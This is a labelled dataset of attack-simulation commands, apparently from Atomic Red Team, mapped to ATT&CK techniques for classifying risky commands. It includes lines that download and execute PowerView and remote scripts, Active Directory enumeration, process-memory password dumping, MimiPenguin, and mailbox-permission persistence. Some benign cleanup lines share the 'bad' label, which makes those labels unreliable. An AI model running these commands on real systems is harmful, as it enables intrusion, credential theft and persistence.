cowWhySo/permission-command-corpus huggingface dataset:
Command: "%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1072
Platform: windows
ATT&CK tags: T1072
Source rule: PDQ Deploy RAT
Notes: An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.
Command: # Deploy 7-Zip using Chocolatey choco install -y 7zip
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1072
Platform: windows
ATT&CK tags: T1072
Source rule: Deploy 7-Zip Using Chocolatey
Notes: An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility.
Command: net localgroup net group /domain net group "enterprise admins" /domain net group "domain admins" /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Basic Permission Groups Discovery Windows (Domain)
Notes: Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
Command: get-ADPrincipalGroupMembership #{user} | select name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Permission Groups Discovery PowerShell (Domain)
Notes: Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
information will be displayed.
Command: net groups "Account Operators" /domain net groups "Exchange Organization Management" /domain net group "BUILTIN\Backup Operators" /domain net group "Domain Admins" /domain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Elevated group enumeration using net group (Domain)
Notes: Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Find machines where user has local admin access (PowerView)
Notes: Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Find local admins on all machines in domain (PowerView)
Notes: Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Find Local Admins via Group Policy (PowerView)
Notes: takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed.
Command: get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
Notes: When successful, accounts that do not require kerberos pre-auth will be returned
Command: "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Adfind - Query Active Directory Groups
Notes: Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
Command: Get-AdGroup -Filter *
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Enumerate Active Directory Groups with Get-AdGroup
Notes: The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
Command: ([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Enumerate Active Directory Groups with ADSISearcher
Notes: The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.
Upon successful execution a listing of groups will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
Command: Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
Notes: When successful, accounts that do not require kerberos pre-auth will be returned.
Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Get-DomainGroupMember with PowerView
Notes: Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Get-DomainGroup with PowerView
Notes: Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.
Command: ldifde.exe -f #{output_path}\#{output_file} -p subtree
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Active Directory Enumeration with LDIFDE
Notes: Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
Command: del #{output_path}\#{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: windows
ATT&CK tags: T1069.002
Source rule: Active Directory Enumeration with LDIFDE
Notes: Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
Command: ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" "(objectClass=group)" -s sub -a always -z 1000 dn
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1069.002
Platform: linux
ATT&CK tags: T1069.002
Source rule: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS
Notes: Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command: $encodedString = "WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=" $bytes = [System.Convert]::FromBase64String($encodedString) $decodedString = [System.Text.Encoding]::UTF8.GetString($bytes) #write the decoded eicar string to file $decodedString | Out-File T1027.013_decodedEicar.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.013
Platform: windows,macos,linux
ATT&CK tags: T1027.013
Source rule: Decode Eicar File and Write to File
Notes: Decode the eicar value, and write it to file, for AV/EDR to try to catch.
Command: Just delete the resulting T1027.013_decodedEicar.txt file.
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.013
Platform: windows,macos,linux
ATT&CK tags: T1027.013
Source rule: Decode Eicar File and Write to File
Notes: Decode the eicar value, and write it to file, for AV/EDR to try to catch.
Command: Just delete the resulting T1027.013_decryptedEicar.txt file.
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.013
Platform: windows,macos,linux
ATT&CK tags: T1027.013
Source rule: Decrypt Eicar File and Write to File
Notes: Decrypt the eicar value, and write it to file, for AV/EDR to try to catch.
Command: echo '#!/bin/bash' > /tmp/art_payload.sh echo 'echo "T1027.013: Payload extracted from encrypted ZIP"' >> /tmp/art_payload.sh echo 'echo "Hostname: $(hostname)"' >> /tmp/art_payload.sh echo 'echo "User: $(whoami)"' >> /tmp/art_payload.sh echo 'uname -a' >> /tmp/art_payload.sh cd /tmp && zip -P "#{zip_password}" art_encrypted.zip art_payload.sh rm /tmp/art_payload.sh echo "Encrypted ZIP created. Extracting with password..." unzip -P "#{zip_password}" -o /tmp/art_encrypted.zip -d /tmp/ echo "Executing extracted payload:" bash /tmp/art_payload.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.013
Platform: linux,macos
ATT&CK tags: T1027.013
Source rule: Password-Protected ZIP Payload Extraction and Execution
Notes: Extracts and executes a script from a password-protected ZIP archive.
This technique is commonly used by malware families like Emotet and QBot to deliver payloads
via email attachments where the password is provided in the message body.
The encrypted ZIP evades static file analysis until extracted at runtime.
Upon successful execution, displays confirmation and system information.
Command: rm -f /tmp/art_payload.sh rm -f /tmp/art_encrypted.zip
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027.013
Platform: linux,macos
ATT&CK tags: T1027.013
Source rule: Password-Protected ZIP Payload Extraction and Execution
Notes: Extracts and executes a script from a password-protected ZIP archive.
This technique is commonly used by malware families like Emotet and QBot to deliver payloads
via email attachments where the password is provided in the message body.
The encrypted ZIP evades static file analysis until extracted at runtime.
Upon successful execution, displays confirmation and system information.
Command: Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All Disconnect-ExchangeOnline -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.002
Platform: office-365
ATT&CK tags: T1098.002
Source rule: EXO - Full access mailbox permission granted to a user
Notes: Give a nominated user, full mailbox delegation access of another user.
This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
Command: Import-Module ExchangeOnlineManagement $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Remove-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All -Confirm:$false Disconnect-ExchangeOnline -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1098.002
Platform: office-365
ATT&CK tags: T1098.002
Source rule: EXO - Full access mailbox permission granted to a user
Notes: Give a nominated user, full mailbox delegation access of another user.
This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
Command: sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" grep -i "PASS" "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Dump individual process memory with sh (Local)
Notes: Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
Command: rm -f "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Dump individual process memory with sh (Local)
Notes: Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
Command: sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1) MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2) MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START))) dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" strings "#{output_file}" | grep -i PASS
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Dump individual process memory with sh on FreeBSD (Local)
Notes: Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to
copy process memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
Command: sh #{script_path} PID=$(pgrep -n -f "#{pid_term}") PYTHON=$(which python || which python3 || which python2) $PYTHON #{python_script} $PID #{output_file} grep -i "PASS" "#{output_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Dump individual process memory with Python (Local)
Notes: Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to
copy a process's heap memory to an external file so it can be searched or exfiltrated later.
On FreeBSD procfs must be mounted.
Command: sudo #{MimiPenguin_Location} > #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Capture Passwords with MimiPenguin
Notes: MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). 
Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. 
See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. 
See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20vari
Command: rm -f #{output_file} > /dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1003.007
Platform: linux
ATT&CK tags: T1003.007
Source rule: Capture Passwords with MimiPenguin
Notes: MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). 
Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. 
See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. 
See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20vari
Command: sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}" sh -c "echo 'ping -c 4 #{host}' >> #{script_path}" chmod +x #{script_path} sh #{script_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Create and Execute Bash Shell Script
Notes: Creates and executes a simple sh script.
Command: rm #{script_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Create and Execute Bash Shell Script
Notes: Creates and executes a simple sh script.
Command: curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Command-Line Interface
Notes: Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command: rm /tmp/art-fish.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux,macos
ATT&CK tags: T1059.004
Source rule: Command-Line Interface
Notes: Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server.

Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command: chmod +x #{autosuid} bash #{autosuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Harvest SUID executable files
Notes: AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command: rm -rf #{autosuid}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Harvest SUID executable files
Notes: AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command: chmod +x #{linenum} bash #{linenum}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: LinEnum tool execution
Notes: LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command: rm -rf #{linenum}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: LinEnum tool execution
Notes: LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command: TMPFILE=$(mktemp) echo "id" > $TMPFILE bash $TMPFILE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: New script file in the tmp directory
Notes: An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
Command: rm $TMPFILE unset TMPFILE
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: New script file in the tmp directory
Notes: An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which results in the id command being executed.
Command: echo $0 if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi if $(printenv SHELL >/dev/null); then printenv SHELL; fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: What shell is running
Notes: An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command: cat /etc/shells
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: What shells are available
Notes: An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command: for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.004
Platform: linux
ATT&CK tags: T1059.004
Source rule: Command line scripts
Notes: An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!